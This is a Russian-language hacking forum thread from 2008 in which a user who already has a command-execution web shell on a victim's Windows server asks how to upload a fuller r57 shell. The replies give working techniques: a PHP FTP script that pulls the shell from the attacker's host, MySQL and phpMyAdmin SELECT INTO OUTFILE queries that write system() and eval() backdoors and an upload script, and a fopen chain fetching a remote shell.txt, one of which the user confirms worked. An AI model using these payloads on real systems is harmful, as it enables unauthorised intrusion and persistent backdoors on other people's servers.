Способы заливки файлов

Discussion in 'Уязвимости' started by UpsPig, 30 Jul 2008.

  1. UpsPig

    UpsPig New Member

    Joined:
    22 Jun 2008
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    Есть shell.php?cmd= .
    Хотел залить более менее удобный шелл типа r57.
    Всё что пришло в голову:
    1)Заливка через FTP с поднятием на своём компе сервера, но не смог пока разобраться с авторизацией в slimftpd.
    2)Расшарить папку
    3)И пробовал записать построчно через echo (добавляются слэши перед кавычками в итоге скрипт не пашет)
    Может кто нибудь предложить другие способы?
     
  2. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    wget, curl, fetch
     
  3. UpsPig

    UpsPig New Member

    Joined:
    22 Jun 2008
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    Сорри не уточнил.Дело происходит в винде
     
  4. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Если есть возможность выполнить пхп - через fopen(), да и многими другими функциями можно. Я так понял - шелл ты сам залил? Раз залил шелл - залей инклюд или тот же fopen() -> fwrite()

    з.ы. вот ещё почитай про работу с фтп через командную строку - ttp://www.winblog.ru/net/1147765001-08020803.html
     
    #4 n0ne, 31 Jul 2008
    Last edited: 31 Jul 2008
  5. UpsPig

    UpsPig New Member

    Joined:
    22 Jun 2008
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    инклюд нельзя (
    Можно про fopen() и fwrite() поподробнее?
    Я пхп совсем не знаю ((
     
  6. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Попробуй через фтп вот так -

    Code:
    <?
    
    // замени данные на свои 
    $host = "ftp.твой_фтп.ru"; // адрес твоего фтп
    $port = 21; // порт, по дефолту он 21
    $user = "login"; // логин
    $passwrod = "password"; // пароль
    $local_file = "/ftp/shell.php"; // файл на твоем фтп
    $remote_file = "shell.php"; // файл на удаленной тачке
    // дальше не трогай :)
    
    $connect = ftp_connect($host, $port);
    $done = ftp_login($connect, $user, $password);
    
    if($done)
      {
    ftp_get($connect, $local_file, $remote_file, ftp_binary);
      }
    else
    {
    die();
    }
    
    ?>
    
    И не поленись прочесть вот это - ttp://www.winblog.ru/net/1147765001-08020803.html
     
    #6 n0ne, 31 Jul 2008
    Last edited: 31 Jul 2008
  7. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    если есть какая либо база на сайте попробуй приконнектиться к ней с удаленного шела и уже через базу залить шел

    CREATE TABLE temptab1(
    codetab TEXT
    ) TYPE=MYISaM;

    INSERT INTO temptab1(codetab)
    VALUES(
    '<pre><body bgcolor=silver><? @system($_REQUEST["v"]); ?></body></pre>'
    );


    into dumpfile
    select * into outfile '/Library/WebServer/Documents/123.php' from temptab1; flush logs;
    думаю разберешься что куда ставить
     
    #7 heks, 31 Jul 2008
    Last edited: 31 Jul 2008
    1 person likes this.
  8. apollо

    apollо Banned

    Joined:
    24 Dec 2006
    Messages:
    22
    Likes Received:
    3
    Reputations:
    0
    Попробуй так:

    shell.php?cmd=get http://site/r57.txt > C:\путь_до_www\r57.php

    (по дефолту в C:\AppServ\www\)

    "http://site/r57.txt " - сайт на котором лежит исходник шела в txt формате... (если будет в php формате многие выражения понерфяться, что соответственно приведёт к неработоспособности шела, поэтому используй изначально txt)
     
    #8 apollо, 31 Jul 2008
    Last edited: 31 Jul 2008
  9. UpsPig

    UpsPig New Member

    Joined:
    22 Jun 2008
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    apollо
    "get" не является внутренней или внешней
    командой, исполняемой программой или пакетным файлом.
    Я тоже об этом думал
     
  10. UpsPig

    UpsPig New Member

    Joined:
    22 Jun 2008
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    heks
    К сожалению нет.
    bind-adress 127.0.0.1
     
  11. UpsPig

    UpsPig New Member

    Joined:
    22 Jun 2008
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    n0ne
    Если я правильно понял скрипт должен лежать на стороне жертвы.
    Записать что то на черв можно только через shell.php <? system($_GET['cmd']); ?>, который я записал через phpmyadmin из-за того, что нельзя инклудить
     
  12. apollо

    apollо Banned

    Joined:
    24 Dec 2006
    Messages:
    22
    Likes Received:
    3
    Reputations:
    0
    Если шел получил через phpmyadmin, то попробуй залить тогда так:

    сначала сделай запрос в phpmyadmin:

    SELECT '<? move_uploaded_file($userfile, "C:/путь_до_www/name_shell.php"); ?>' into OUTFILE "C:/путь_до_www/uploadshell.php"

    ///// думаю понятно, что создасться файл uploadshell.php в директории www, который впоследствии и зальёт нам шел под именем name_shell.php


    Далее создай простую форму примерно следующего содержания:

    PHP:
    <FORM ENCTYPE="multipart/form-data" ACTION="http://site_hack/uploadshell.php"     METHOD="POST">
    <
    INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000">
    Агаотправить вот этот файлик: <INPUT NAME="userfile" TYPE="file">
    <
    INPUT TYPE="submit" VALUE="Send">
    </
    FORM>
    подправь только ACTION и всё....

    Желаю удачи ;)
     
    3 people like this.
  13. UpsPig

    UpsPig New Member

    Joined:
    22 Jun 2008
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    apollо
    Зашибись сработало ))
     
  14. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    попробуй через phpmyadmin всунуть вот это <?php eval($_GET[cmd]);?> в файл test.php
    затем

    test.php?cmd=$f=fopen($_GET[r],$_GET[rr]);$o=fopen($_GET[o],$_GET[oo]);while(!feof($f)){$row=fgets($f);fputs($o,$row);}&rr=r&oo=w+&r=http://www.yoursite.com/shell.txt&o=shell.php

    ой)ты уже и так справился!"
     
    1 person likes this.